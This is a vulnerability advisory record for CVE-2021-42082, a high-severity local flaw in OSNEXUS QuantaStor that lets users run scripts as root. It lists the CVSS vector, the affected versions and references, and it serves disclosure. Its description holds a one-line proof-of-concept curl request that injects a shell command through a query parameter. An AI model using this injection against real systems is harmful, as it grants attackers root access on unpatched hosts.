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CVE-2021-42082
Published: Jul 10, 2023
Modified: Sep 22, 2025
PUBLISHED
CVSS v3.1
7.8
HIGH
Description
Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
| Vendor | Product | Versions |
|---|---|---|
OSNEXUS | QuantaStor | affected 0 - < 6.0.0.355 |
Weaknesses (CWE)
CVSS v3.1 Details
CVSS v3.1 Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
References
https://www.wbsec.nl/osnexus
third-party-advisory
technical-description
exploit
https://csirt.divd.nl/DIVD-2021-00020/
third-party-advisory
https://csirt.divd.nl/CVE-2021-42082
third-party-advisory
technical-description
exploit
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